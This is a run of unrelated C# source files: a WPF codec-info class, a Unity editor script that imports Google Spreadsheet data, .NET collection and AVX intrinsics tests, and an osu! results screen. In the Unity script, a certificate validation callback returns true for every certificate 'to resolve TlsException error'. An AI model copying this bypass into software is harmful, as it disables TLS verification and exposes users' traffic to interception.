_codecInfoHandle, 0, mimeTypes, out length )); Debug.Assert(length >= 0); // get the string back if (length > 0) { mimeTypes = new StringBuilder((int)length); HRESULT.Check(UnsafeNativeMethods.WICBitmapCodecInfo.GetMimeTypes( _codecInfoHandle, length, mimeTypes, out length )); } if (mimeTypes != null) return mimeTypes.ToString(); else return String.Empty; } } /// <summary> /// File extensions /// </summary> /// <remarks> /// Callers must have RegistryPermission(PermissionState.Unrestricted) to call this API. /// </remarks> /// <SecurityNote> /// Critical - calls unamanged code to retrieve data /// PublicOK - Demands registry permissions /// </SecurityNote> public virtual string FileExtensions { [SecurityCritical] get { SecurityHelper.DemandRegistryPermission(); EnsureBuiltIn(); StringBuilder fileExtensions = null; UInt32 length = 0; // Find the length of the string needed HRESULT.Check(UnsafeNativeMethods.WICBitmapCodecInfo.GetFileExtensions( _codecInfoHandle, 0, fileExtensions, out length )); Debug.Assert(length >= 0); // get the string back if (length > 0) { fileExtensions = new StringBuilder((int)length); HRESULT.Check(UnsafeNativeMethods.WICBitmapCodecInfo.GetFileExtensions( _codecInfoHandle, length, fileExtensions, out length )); } if (fileExtensions != null) return fileExtensions.ToString(); else return String.Empty; } } /// <summary> /// Does Support Animation /// </summary> /// <remarks> /// Callers must have RegistryPermission(PermissionState.Unrestricted) to call this API. /// </remarks> /// <SecurityNote> /// Critical - calls unamanged code to retrieve data /// PublicOK - Demands registry permissions /// </SecurityNote> public virtual bool SupportsAnimation { [SecurityCritical] get { SecurityHelper.DemandRegistryPermission(); EnsureBuiltIn(); bool supportsAnimation; HRESULT.Check(UnsafeNativeMethods.WICBitmapCodecInfo.DoesSupportAnimation( _codecInfoHandle, out supportsAnimation )); return supportsAnimation; } } /// <summary> /// Does Support Lossless /// </summary> /// <remarks> /// Callers must have RegistryPermission(PermissionState.Unrestricted) to call this API. /// </remarks> /// <SecurityNote> /// Critical - calls unamanged code to retrieve data /// PublicOK - Demands registry permissions /// </SecurityNote> public virtual bool SupportsLossless { [SecurityCritical] get { SecurityHelper.DemandRegistryPermission(); EnsureBuiltIn(); bool supportsLossless; HRESULT.Check(UnsafeNativeMethods.WICBitmapCodecInfo.DoesSupportLossless( _codecInfoHandle, out supportsLossless )); return supportsLossless; } } /// <summary> /// Does Support Multiple Frames /// </summary> /// <remarks> /// Callers must have RegistryPermission(PermissionState.Unrestricted) to call this API. /// </remarks> /// <SecurityNote> /// Critical - calls unamanged code to retrieve data /// PublicOK - Demands registry permissions /// </SecurityNote> public virtual bool SupportsMultipleFrames { [SecurityCritical] get { SecurityHelper.DemandRegistryPermission(); EnsureBuiltIn(); bool supportsMultiFrame; HRESULT.Check(UnsafeNativeMethods.WICBitmapCodecInfo.DoesSupportMultiframe( _codecInfoHandle, out supportsMultiFrame )); return supportsMultiFrame; } } #endregion #region Private Methods private void EnsureBuiltIn() { if (!_isBuiltIn) { throw new NotImplementedException(); } } #endregion #region Data Members /// is this a built in codec info? private bool _isBuiltIn; /// Codec info handle SafeMILHandle _codecInfoHandle; #endregion } #endregion }
/////////////////////////////////////////////////////////////////////////////// using GDataDB; using GDataDB.Impl; using GDataDB.Linq; using Google.GData.Client; using Google.GData.Spreadsheets; using System.Collections; using System.Collections.Generic; using System.IO; using System.Linq; // to resolve TlsException error. using System.Net; using System.Net.Security; using System.Security.Cryptography.X509Certificates; using System.Text.RegularExpressions; using UnityEditor; /// /// GoogleMachineEditor.cs /// /// (c)2013 Kim, Hyoun Woo /// /////////////////////////////////////////////////////////////////////////////// using UnityEngine; /// <summary>An editor script class of GoogleMachine class.</summary> [CustomEditor(typeof(GoogleMachine))] public class GoogleMachineEditor : BaseMachineEditor { private PropertyField[] databaseFields; // to resolve TlsException error public static bool Validator(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) { return true; } private void OnEnable() { // to resolve TlsException error ServicePointManager.ServerCertificateValidationCallback = Validator; machine = target as GoogleMachine; if (machine != null) { machine.ReInitialize(); databaseFields = ExposeProperties.GetProperties(machine); if (string.IsNullOrEmpty(GoogleDataSettings.Instance.RuntimePath) == false) machine.RuntimeClassPath = GoogleDataSettings.Instance.RuntimePath; if (string.IsNullOrEmpty(GoogleDataSettings.Instance.EditorPath) == false) machine.EditorClassPath = GoogleDataSettings.Instance.EditorPath; } } //private Vector2 curretScroll = Vector2.zero; /// <summary>Draw custom UI.</summary> public override void OnInspectorGUI() { if (GoogleDataSettings.Instance == null) { GUILayout.BeginHorizontal(); GUILayout.Toggle(true, "", "CN EntryError", GUILayout.Width(20)); GUILayout.BeginVertical(); GUILayout.Label("", GUILayout.Height(12)); GUILayout.Label("Check the GoogleDataSetting.asset file exists or its path is correct.", GUILayout.Height(20)); GUILayout.EndVertical(); GUILayout.EndHorizontal(); } //Rect rc; GUIStyle headerStyle = null; headerStyle = GUIHelper.MakeHeader(); GUILayout.Label("GoogleDrive Settings:", headerStyle); //rc = GUILayoutUtility.GetLastRect(); //GUI.skin.box.Draw(rc, GUIContent.none, 0); EditorGUILayout.Separator(); GUILayout.Label("Script Path Settings:", headerStyle); //rc = GUILayoutUtility.GetLastRect(); //GUI.skin.box.Draw(new Rect(rc.left, rc.top + rc.height, rc.width, 1f), GUIContent.none, 0); ExposeProperties.Expose(databaseFields); EditorGUILayout.Separator(); EditorGUILayout.Separator(); GUILayout.BeginHorizontal(); if (machine.HasHeadColumn()) { if (GUILayout.Button("Update")) Import(); if (GUILayout.Button("Reimport")) Import(true); } else { if (GUILayout.Button("Import")) Import(); } GUILayout.EndHorizontal(); EditorGUILayout.Separator(); DrawHeaderSetting(machine); // force save changed type. if (GUI.changed) { EditorUtility.SetDirty(GoogleDataSettings.Instance); EditorUtility.SetDirty(machine); AssetDatabase.SaveAssets(); } EditorGUILayout.Separator(); machine.onlyCreateDataClass = EditorGUILayout.Toggle("Only DataClass", machine.onlyCreateDataClass); EditorGUILayout.Separator(); if (GUILayout.Button("Generate")) { if (Generate(this.machine) == null) Debug.LogError("Failed to create a script from Google."); } } /// <summary>A delegate called on each of a cell query.</summary> private delegate void OnEachCell(CellEntry cell); /// <summary> /// Connect to google-spreadsheet with the specified account and password then query cells and /// call the given callback. /// </summary> private void DoCellQuery(OnEachCell onCell) { // first we need to connect to the google-spreadsheet to get all the first row of the cells // which are used for the properties of data class. var client = new DatabaseClient("", ""); if (string.IsNullOrEmpty(machine.SpreadSheetName)) return; if (string.IsNullOrEmpty(machine.WorkSheetName)) return; var db = client.GetDatabase(machine.SpreadSheetName); if (db == null) { Debug.LogError("The given spreadsheet does not exist."); return; } // retrieves all cells var worksheet = ((Database)db).GetWorksheetEntry(machine.WorkSheetName); // Fetch the cell feed of the worksheet. CellQuery cellQuery = new CellQuery(worksheet.CellFeedLink); var cellFeed = client.SpreadsheetService.Query(cellQuery); // Iterate through each cell, printing its value. foreach (CellEntry cell in cellFeed.Entries) { if (onCell != null) onCell(cell); } } /// <summary>Connect to the google spreadsheet and retrieves its header columns.</summary> protected override void Import(bool reimport = false) { base.Import(reimport); Regex re = new Regex(@"\d+"); Dictionary<string, HeaderColumn> headerDic = null; if (reimport) machine.HeaderColumnList.Clear(); else headerDic = machine.HeaderColumnList.ToDictionary(k => k.name); DoCellQuery((cell) => { // get numerical value from a cell's address in A1 notation only retrieves first column // of the worksheet which is used for member fields of the created data class. Match m = re.Match(cell.Title.Text); if (int.Parse(m.Value) > 1) return; if (machine.HasHeadColumn() && reimport == false) { if (headerDic != null && headerDic.ContainsKey(cell.Value)) machine.HeaderColumnList.Add(new HeaderColumn { name = cell.Value, type = headerDic[cell.Value].type }); else machine.HeaderColumnList.Add(new HeaderColumn { name = cell.Value, type = CellType.Undefined }); } else { machine.HeaderColumnList.Add(new HeaderColumn { name = cell.Value, type = CellType.Undefined }); } }); EditorUtility.SetDirty(machine); AssetDatabase.SaveAssets(); } /// <summary> /// Translate type of the member fields directly from google spreadsheet's header column. /// NOTE: This needs header column to be formatted with colon. e.g. "Name : string" /// </summary> [System.Obsolete("Use CreateDataClassScript instead of CreateDataClassScriptFromSpreadSheet.")] private void CreateDataClassScriptFromSpreadSheet(ScriptPrescription sp) { List<MemberFieldData> fieldList = new List<MemberFieldData>(); Regex re = new Regex(@"\d+"); DoCellQuery((cell) => { // get numerical value from a cell's address in A1 notation only retrieves first column // of the worksheet which is used for member fields of the created data class. Match m = re.Match(cell.Title.Text); if (int.Parse(m.Value) > 1) return; // add cell's displayed value to the list. fieldList.Add(new MemberFieldData(cell.Value.Replace(" ", ""))); }); sp.className = machine.WorkSheetName + "Data"; sp.template = GetTemplate("DataClass"); sp.memberFields = fieldList.ToArray(); // write a script to the given folder. using (var writer = new StreamWriter(TargetPathForData(machine.WorkSheetName))) { writer.Write(new NewScriptGenerator(sp).ToString()); writer.Close(); } } /// Create utility class which has menu item function to create an asset file. protected override void CreateAssetCreationScript(BaseMachine m, ScriptPrescription sp) { sp.className = machine.WorkSheetName; sp.worksheetClassName = machine.WorkSheetName; sp.assetFileCreateFuncName = "Create" + machine.WorkSheetName + "AssetFile"; sp.template = GetTemplate("AssetFileClass"); // write a script to the given folder. using (var writer = new StreamWriter(TargetPathForAssetFileCreateFunc(machine.WorkSheetName))) { writer.Write(new NewScriptGenerator(sp).ToString()); writer.Close(); } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using Xunit; using System; using System.Collections; using System.Collections.Specialized; using GenStrings; namespace System.Collections.Specialized.Tests { public class GetKeyIntTests { public const int MAX_LEN = 50; // max length of random strings [Fact] public void Test01() { IntlStrings intl; NameValueCollection nvc; // simple string values string[] values = { "", " ", "a", "aA", "text", " SPaces", "1", "$%^#", "2222222222222222222222222", System.DateTime.Today.ToString(), Int32.MaxValue.ToString() }; // keys for simple string values string[] keys = { "zero", "oNe", " ", "", "aa", "1", System.DateTime.Today.ToString(), "$%^#", Int32.MaxValue.ToString(), " spaces", "2222222222222222222222222" }; int cnt = 0; // Count // initialize IntStrings intl = new IntlStrings(); // [] NameValueCollection is constructed as expected //----------------------------------------------------------------- nvc = new NameValueCollection(); // [] GetKey() on empty collection Assert.Throws<ArgumentOutOfRangeException>(() => { nvc.GetKey(-1); }); Assert.Throws<ArgumentOutOfRangeException>(() => { nvc.GetKey(0); }); // [] GetKey() on collection filled with simple strings // cnt = nvc.Count; int len = values.Length; for (int i = 0; i < len; i++) { nvc.Add(keys[i], values[i]); } if (nvc.Count != len) { Assert.False(true, string.Format("Error, count is {0} instead of {1}", nvc.Count, values.Length)); } // for (int i = 0; i < len; i++) { if (String.Compare(nvc.GetKey(i), keys[i]) != 0) { Assert.False(true, string.Format("Error, returned: \"{1}\", expected \"{2}\"", i, nvc.GetKey(i), keys[i])); } } // // Intl strings // [] GetKey() on collection filled with Intl strings // string[] intlValues = new string[len * 2]; // fill array with unique strings // for (int i = 0; i < len * 2; i++) { string val = intl.GetRandomString(MAX_LEN); while (Array.IndexOf(intlValues, val) != -1) val = intl.GetRandomString(MAX_LEN); intlValues[i] = val; } Boolean caseInsensitive = false; for (int i = 0; i < len * 2; i++) { if (intlValues[i].Length != 0 && intlValues[i].ToLowerInvariant() == intlValues[i].ToUpperInvariant()) caseInsensitive = true; } nvc.Clear(); for (int i = 0; i < len; i++) { nvc.Add(intlValues[i + len], intlValues[i]); } if (nvc.Count != (len)) { Assert.False(true, string.Format("Error, count is {0} instead of {1}", nvc.Count, len)); } for (int i = 0; i < len; i++) { // if (String.Compare(nvc.GetKey(i), intlValues[i + len]) != 0) { Assert.False(true, string.Format("Error, returned \"{1}\" instead of \"{2}\"", i, nvc.GetKey(i), intlValues[i + len])); } } // // [] Case sensitivity // string[] intlValuesLower = new string[len * 2]; // fill array with unique strings // for (int i = 0; i < len * 2; i++) { intlValues[i] = intlValues[i].ToUpperInvariant(); } for (int i = 0; i < len * 2; i++) { intlValuesLower[i] = intlValues[i].ToLowerInvariant(); } nvc.Clear(); // // will use first half of array as values and second half as keys // for (int i = 0; i < len; i++) { nvc.Add(intlValues[i + len], intlValues[i]); // adding uppercase strings } // for (int i = 0; i < len; i++) { // if (String.Compare(nvc.GetKey(i), intlValues[i + len]) != 0) { Assert.False(true, string.Format("Error, returned \"{1}\" instead of \"{2}\"", i, nvc.GetKey(i), intlValues[i + len])); } if (!caseInsensitive && String.Compare(nvc.GetKey(i), intlValuesLower[i + len]) == 0) { Assert.False(true, string.Format("Error, returned lowercase when added uppercase", i)); } } // [] GetKey() on filled collection - with multiple items with the same key // nvc.Clear(); len = values.Length; string k = "keykey"; string k1 = "hm1"; string exp = ""; string exp1 = ""; for (int i = 0; i < len; i++) { nvc.Add(k, "Value" + i); nvc.Add(k1, "iTem" + i); if (i < len - 1) { exp += "Value" + i + ","; exp1 += "iTem" + i + ","; } else { exp += "Value" + i; exp1 += "iTem" + i; } } if (nvc.Count != 2) { Assert.False(true, string.Format("Error, count is {0} instead of {1}", nvc.Count, 2)); } if (String.Compare(nvc.GetKey(0), k) != 0) { Assert.False(true, string.Format("Error, returned \"{0}\" instead of \"{1}\"", nvc.GetKey(0), k)); } if (String.Compare(nvc.GetKey(1), k1) != 0) { Assert.False(true, string.Format("Error, returned \"{0}\" instead of \"{1}\"", nvc.GetKey(1), k1)); } // // [] GetKey(-1) // cnt = nvc.Count; Assert.Throws<ArgumentOutOfRangeException>(() => { nvc.GetKey(-1); }); // // [] GetKey(count) // if (nvc.Count < 1) { for (int i = 0; i < len; i++) { nvc.Add(keys[i], values[i]); } } cnt = nvc.Count; Assert.Throws<ArgumentOutOfRangeException>(() => { nvc.GetKey(cnt); }); // // [] GetKey(count+1) // if (nvc.Count < 1) { for (int i = 0; i < len; i++) { nvc.Add(keys[i], values[i]); } } cnt = nvc.Count; Assert.Throws<ArgumentOutOfRangeException>(() => { nvc.GetKey(cnt + 1); }); // // [] GetKey(null) - exception // Object nl = null; Assert.Throws<NullReferenceException>(() => { string res = nvc.GetKey((int)nl); }); } } }
// Copyright (c) ppy Pty Ltd <contact@ppy.sh>. Licensed under the MIT Licence. // See the LICENCE file in the repository root for full licence text. using System; using System.Collections.Generic; using System.Linq; using osu.Framework.Allocation; using osu.Framework.Bindables; using osu.Framework.Extensions.Color4Extensions; using osu.Framework.Graphics; using osu.Framework.Graphics.Containers; using osu.Framework.Graphics.Shapes; using osu.Framework.Input.Bindings; using osu.Framework.Screens; using osu.Game.Graphics; using osu.Game.Graphics.Containers; using osu.Game.Graphics.UserInterface; using osu.Game.Input.Bindings; using osu.Game.Online.API; using osu.Game.Scoring; using osu.Game.Screens.Play; using osu.Game.Screens.Ranking.Statistics; using osuTK; namespace osu.Game.Screens.Ranking { public abstract class ResultsScreen : ScreenWithBeatmapBackground, IKeyBindingHandler<GlobalAction> { protected const float BACKGROUND_BLUR = 20; private static readonly float screen_height = 768 - TwoLayerButton.SIZE_EXTENDED.Y; public override bool DisallowExternalBeatmapRulesetChanges => true; // Temporary for now to stop dual transitions. Should respect the current toolbar mode, but there's no way to do so currently. public override bool HideOverlaysOnEnter => true; public readonly Bindable<ScoreInfo> SelectedScore = new Bindable<ScoreInfo>(); public readonly ScoreInfo Score; protected ScorePanelList ScorePanelList { get; private set; } protected VerticalScrollContainer VerticalScrollContent { get; private set; } [Resolved(CanBeNull = true)] private Player player { get; set; } [Resolved] private IAPIProvider api { get; set; } private StatisticsPanel statisticsPanel; private Drawable bottomPanel; private Container<ScorePanel> detachedPanelContainer; private bool fetchedInitialScores; private APIRequest nextPageRequest; private readonly bool allowRetry; private readonly bool allowWatchingReplay; protected ResultsScreen(ScoreInfo score, bool allowRetry, bool allowWatchingReplay = true) { Score = score; this.allowRetry = allowRetry; this.allowWatchingReplay = allowWatchingReplay; SelectedScore.Value = score; } [BackgroundDependencyLoader] private void load() { FillFlowContainer buttons; InternalChild = new GridContainer { RelativeSizeAxes = Axes.Both, Content = new[] { new Drawable[] { VerticalScrollContent = new VerticalScrollContainer { RelativeSizeAxes = Axes.Both, ScrollbarVisible = false, Child = new Container { RelativeSizeAxes = Axes.Both, Children = new Drawable[] { statisticsPanel = new StatisticsPanel { RelativeSizeAxes = Axes.Both, Score = { BindTarget = SelectedScore } }, ScorePanelList = new ScorePanelList { RelativeSizeAxes = Axes.Both, SelectedScore = { BindTarget = SelectedScore }, PostExpandAction = () => statisticsPanel.ToggleVisibility() }, detachedPanelContainer = new Container<ScorePanel> { RelativeSizeAxes = Axes.Both }, } } }, }, new[] { bottomPanel = new Container { Anchor = Anchor.BottomLeft, Origin = Anchor.BottomLeft, RelativeSizeAxes = Axes.X, Height = TwoLayerButton.SIZE_EXTENDED.Y, Alpha = 0, Children = new Drawable[] { new Box { RelativeSizeAxes = Axes.Both, Colour = Color4Extensions.FromHex("#333") }, buttons = new FillFlowContainer { Anchor = Anchor.Centre, Origin = Anchor.Centre, AutoSizeAxes = Axes.Both, Spacing = new Vector2(5), Direction = FillDirection.Horizontal } } } } }, RowDimensions = new[] { new Dimension(), new Dimension(GridSizeMode.AutoSize) } }; if (Score != null) { // only show flair / animation when arriving after watching a play that isn't autoplay. bool shouldFlair = player != null && Score.Mods.All(m => m.UserPlayable); ScorePanelList.AddScore(Score, shouldFlair); } if (allowWatchingReplay) { buttons.Add(new ReplayDownloadButton(null) { Score = { BindTarget = SelectedScore }, Width = 300 }); } if (player != null && allowRetry) { buttons.Add(new RetryButton { Width = 300 }); AddInternal(new HotkeyRetryOverlay { Action = () => { if (!this.IsCurrentScreen()) return; player?.Restart(); }, }); } } protected override void LoadComplete() { base.LoadComplete(); var req = FetchScores(fetchScoresCallback); if (req != null) api.Queue(req); statisticsPanel.State.BindValueChanged(onStatisticsStateChanged, true); } protected override void Update() { base.Update(); if (fetchedInitialScores && nextPageRequest == null) { if (ScorePanelList.IsScrolledToStart) nextPageRequest = FetchNextPage(-1, fetchScoresCallback); else if (ScorePanelList.IsScrolledToEnd) nextPageRequest = FetchNextPage(1, fetchScoresCallback); if (nextPageRequest != null) { // Scheduled after children to give the list a chance to update its scroll position and not potentially trigger a second request too early. nextPageRequest.Success += () => ScheduleAfterChildren(() => nextPageRequest = null); nextPageRequest.Failure += _ => ScheduleAfterChildren(() => nextPageRequest = null); api.Queue(nextPageRequest); } } } /// <summary> /// Performs a fetch/refresh of scores to be displayed. /// </summary> /// <param name="scoresCallback">A callback which should be called when fetching is completed. Scheduling is not required.</param> /// <returns>An <see cref="APIRequest"/> responsible for the fetch operation. This will be queued and performed automatically.</returns> protected virtual APIRequest FetchScores(Action<IEnumerable<ScoreInfo>> scoresCallback) => null; /// <summary> /// Performs a fetch of the next page of scores. This is invoked every frame until a non-null <see cref="APIRequest"/> is returned. /// </summary> /// <param name="direction">The fetch direction. -1 to fetch scores greater than the current start of the list, and 1 to fetch scores lower than the current end of the list.</param> /// <param name="scoresCallback">A callback which should be called when fetching is completed. Scheduling is not required.</param> /// <returns>An <see cref="APIRequest"/> responsible for the fetch operation. This will be queued and performed automatically.</returns> protected virtual APIRequest FetchNextPage(int direction, Action<IEnumerable<ScoreInfo>> scoresCallback) => null; private void fetchScoresCallback(IEnumerable<ScoreInfo> scores) => Schedule(() => { foreach (var s in scores) addScore(s); fetchedInitialScores = true; }); public override void OnEntering(IScreen last) { base.OnEntering(last); ApplyToBackground(b => { b.BlurAmount.Value = BACKGROUND_BLUR; b.FadeColour(OsuColour.Gray(0.5f), 250); }); bottomPanel.FadeTo(1, 250); } public override bool OnExiting(IScreen next) { if (base.OnExiting(next)) return true; this.FadeOut(100); return false; } public override bool OnBackButton() { if (statisticsPanel.State.Value == Visibility.Visible) { statisticsPanel.Hide(); return true; } return false; } private void addScore(ScoreInfo score) { var panel = ScorePanelList.AddScore(score); if (detachedPanel != null) panel.Alpha = 0; } private ScorePanel detachedPanel; private void onStatisticsStateChanged(ValueChangedEvent<Visibility> state) { if (state.NewValue == Visibility.Visible) { // Detach the panel in its original location, and move into the desired location in the local container. var expandedPanel = ScorePanelList.GetPanelForScore(SelectedScore.Value); var screenSpacePos = expandedPanel.ScreenSpaceDrawQuad.TopLeft; // Detach and move into the local container. ScorePanelList.Detach(expandedPanel); detachedPanelContainer.Add(expandedPanel); // Move into its original location in the local container first, then to the final location. var origLocation = detachedPanelContainer.ToLocalSpace(screenSpacePos).X; expandedPanel.MoveToX(origLocation) .Then() .MoveToX(StatisticsPanel.SIDE_PADDING, 150, Easing.OutQuint); // Hide contracted panels. foreach (var contracted in ScorePanelList.GetScorePanels().Where(p => p.State == PanelState.Contracted)) contracted.FadeOut(150, Easing.OutQuint); ScorePanelList.HandleInput = false; // Dim background. ApplyToBackground(b => b.FadeColour(OsuColour.Gray(0.1f), 150)); detachedPanel = expandedPanel; } else if (detachedPanel != null) { var screenSpacePos = detachedPanel.ScreenSpaceDrawQuad.TopLeft; // Remove from the local container and re-attach. detachedPanelContainer.Remove(detachedPanel); ScorePanelList.Attach(detachedPanel); // Move into its original location in the attached container first, then to the final location. var origLocation = detachedPanel.Parent.ToLocalSpace(screenSpacePos); detachedPanel.MoveTo(origLocation) .Then() .MoveTo(new Vector2(0, origLocation.Y), 150, Easing.OutQuint); // Show contracted panels. foreach (var contracted in ScorePanelList.GetScorePanels().Where(p => p.State == PanelState.Contracted)) contracted.FadeIn(150, Easing.OutQuint); ScorePanelList.HandleInput = true; // Un-dim background. ApplyToBackground(b => b.FadeColour(OsuColour.Gray(0.5f), 150)); detachedPanel = null; } } public bool OnPressed(GlobalAction action) { switch (action) { case GlobalAction.Select: statisticsPanel.ToggleVisibility(); return true; } return false; } public void OnReleased(GlobalAction action) { } protected class VerticalScrollContainer : OsuScrollContainer { protected override Container<Drawable> Content => content; private readonly Container content; public VerticalScrollContainer() { Masking = false; base.Content.Add(content = new Container { RelativeSizeAxes = Axes.X }); } protected override void Update() { base.Update(); content.Height = Math.Max(screen_height, DrawHeight); } } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. /****************************************************************************** * This file is auto-generated from a template file by the GenerateTests.csx * * script in tests\src\JIT\HardwareIntrinsics\X86\Shared. In order to make * * changes, please update the corresponding template and run according to the * * directions listed in the file. * ******************************************************************************/ using System; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Runtime.Intrinsics; using System.Runtime.Intrinsics.X86; namespace JIT.HardwareIntrinsics.X86 { public static partial class Program { private static void RoundToNegativeInfinitySingle() { var test = new SimpleUnaryOpTest__RoundToNegativeInfinitySingle(); if (test.IsSupported) { // Validates basic functionality works, using Unsafe.Read test.RunBasicScenario_UnsafeRead(); if (Avx.IsSupported) { // Validates basic functionality works, using Load test.RunBasicScenario_Load(); // Validates basic functionality works, using LoadAligned test.RunBasicScenario_LoadAligned(); } // Validates calling via reflection works, using Unsafe.Read test.RunReflectionScenario_UnsafeRead(); if (Avx.IsSupported) { // Validates calling via reflection works, using Load test.RunReflectionScenario_Load(); // Validates calling via reflection works, using LoadAligned test.RunReflectionScenario_LoadAligned(); } // Validates passing a static member works test.RunClsVarScenario(); // Validates passing a local works, using Unsafe.Read test.RunLclVarScenario_UnsafeRead(); if (Avx.IsSupported) { // Validates passing a local works, using Load test.RunLclVarScenario_Load(); // Validates passing a local works, using LoadAligned test.RunLclVarScenario_LoadAligned(); } // Validates passing the field of a local works test.RunLclFldScenario(); // Validates passing an instance member works test.RunFldScenario(); } else { // Validates we throw on unsupported hardware test.RunUnsupportedScenario(); } if (!test.Succeeded) { throw new Exception("One or more scenarios did not complete as expected."); } } } public sealed unsafe class SimpleUnaryOpTest__RoundToNegativeInfinitySingle { private const int VectorSize = 32; private const int Op1ElementCount = VectorSize / sizeof(Single); private const int RetElementCount = VectorSize / sizeof(Single); private static Single[] _data = new Single[Op1ElementCount]; private static Vector256<Single> _clsVar; private Vector256<Single> _fld; private SimpleUnaryOpTest__DataTable<Single, Single> _dataTable; static SimpleUnaryOpTest__RoundToNegativeInfinitySingle() { var random = new Random(); for (var i = 0; i < Op1ElementCount; i++) { _data[i] = (float)(random.NextDouble()); } Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector256<Single>, byte>(ref _clsVar), ref Unsafe.As<Single, byte>(ref _data[0]), VectorSize); } public SimpleUnaryOpTest__RoundToNegativeInfinitySingle() { Succeeded = true; var random = new Random(); for (var i = 0; i < Op1ElementCount; i++) { _data[i] = (float)(random.NextDouble()); } Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector256<Single>, byte>(ref _fld), ref Unsafe.As<Single, byte>(ref _data[0]), VectorSize); for (var i = 0; i < Op1ElementCount; i++) { _data[i] = (float)(random.NextDouble()); } _dataTable = new SimpleUnaryOpTest__DataTable<Single, Single>(_data, new Single[RetElementCount], VectorSize); } public bool IsSupported => Avx.IsSupported; public bool Succeeded { get; set; } public void RunBasicScenario_UnsafeRead() { var result = Avx.RoundToNegativeInfinity( Unsafe.Read<Vector256<Single>>(_dataTable.inArrayPtr) ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr); } public void RunBasicScenario_Load() { var result = Avx.RoundToNegativeInfinity( Avx.LoadVector256((Single*)(_dataTable.inArrayPtr)) ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr); } public void RunBasicScenario_LoadAligned() { var result = Avx.RoundToNegativeInfinity( Avx.LoadAlignedVector256((Single*)(_dataTable.inArrayPtr)) ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr); } public void RunReflectionScenario_UnsafeRead() { var result = typeof(Avx).GetMethod(nameof(Avx.RoundToNegativeInfinity), new Type[] { typeof(Vector256<Single>) }) .Invoke(null, new object[] { Unsafe.Read<Vector256<Single>>(_dataTable.inArrayPtr) }); Unsafe.Write(_dataTable.outArrayPtr, (Vector256<Single>)(result)); ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr); } public void RunReflectionScenario_Load() { var result = typeof(Avx).GetMethod(nameof(Avx.RoundToNegativeInfinity), new Type[] { typeof(Vector256<Single>) }) .Invoke(null, new object[] { Avx.LoadVector256((Single*)(_dataTable.inArrayPtr)) }); Unsafe.Write(_dataTable.outArrayPtr, (Vector256<Single>)(result)); ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr); } public void RunReflectionScenario_LoadAligned() { var result = typeof(Avx).GetMethod(nameof(Avx.RoundToNegativeInfinity), new Type[] { typeof(Vector256<Single>) }) .Invoke(null, new object[] { Avx.LoadAlignedVector256((Single*)(_dataTable.inArrayPtr)) }); Unsafe.Write(_dataTable.outArrayPtr, (Vector256<Single>)(result)); ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr); } public void RunClsVarScenario() { var result = Avx.RoundToNegativeInfinity( _clsVar ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_clsVar, _dataTable.outArrayPtr); } public void RunLclVarScenario_UnsafeRead() { var firstOp = Unsafe.Read<Vector256<Single>>(_dataTable.inArrayPtr); var result = Avx.RoundToNegativeInfinity(firstOp); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(firstOp, _dataTable.outArrayPtr); } public void RunLclVarScenario_Load() { var firstOp = Avx.LoadVector256((Single*)(_dataTable.inArrayPtr)); var result = Avx.RoundToNegativeInfinity(firstOp); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(firstOp, _dataTable.outArrayPtr); } public void RunLclVarScenario_LoadAligned() { var firstOp = Avx.LoadAlignedVector256((Single*)(_dataTable.inArrayPtr)); var result = Avx.RoundToNegativeInfinity(firstOp); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(firstOp, _dataTable.outArrayPtr); } public void RunLclFldScenario() { var test = new SimpleUnaryOpTest__RoundToNegativeInfinitySingle(); var result = Avx.RoundToNegativeInfinity(test._fld); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(test._fld, _dataTable.outArrayPtr); } public void RunFldScenario() { var result = Avx.RoundToNegativeInfinity(_fld); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_fld, _dataTable.outArrayPtr); } public void RunUnsupportedScenario() { Succeeded = false; try { RunBasicScenario_UnsafeRead(); } catch (PlatformNotSupportedException) { Succeeded = true; } } private void ValidateResult(Vector256<Single> firstOp, void* result, [CallerMemberName] string method = "") { Single[] inArray = new Single[Op1ElementCount]; Single[] outArray = new Single[RetElementCount]; Unsafe.Write(Unsafe.AsPointer(ref inArray[0]), firstOp); Unsafe.CopyBlockUnaligned(ref Unsafe.As<Single, byte>(ref outArray[0]), ref Unsafe.AsRef<byte>(result), VectorSize); ValidateResult(inArray, outArray, method); } private void ValidateResult(void* firstOp, void* result, [CallerMemberName] string method = "") { Single[] inArray = new Single[Op1ElementCount]; Single[] outArray = new Single[RetElementCount]; Unsafe.CopyBlockUnaligned(ref Unsafe.As<Single, byte>(ref inArray[0]), ref Unsafe.AsRef<byte>(firstOp), VectorSize); Unsafe.CopyBlockUnaligned(ref Unsafe.As<Single, byte>(ref outArray[0]), ref Unsafe.AsRef<byte>(result), VectorSize); ValidateResult(inArray, outArray, method); } private void ValidateResult(Single[] firstOp, Single[] result, [CallerMemberName] string method = "") { if (BitConverter.SingleToInt32Bits(result[0]) != BitConverter.SingleToInt32Bits(MathF.Floor(firstOp[0]))) { Succeeded = false; } else { for (var i = 1; i < RetElementCount; i++) { if (BitConverter.SingleToInt32Bits(result[i]) != BitConverter.SingleToInt32Bits(MathF.Floor(firstOp[i]))) { Succeeded = false; break; } } } if (!Succeeded) { Console.WriteLine($"{nameof(Avx)}.{nameof(Avx.RoundToNegativeInfinity)}<Single>(Vector256<Single>): {method} failed:"); 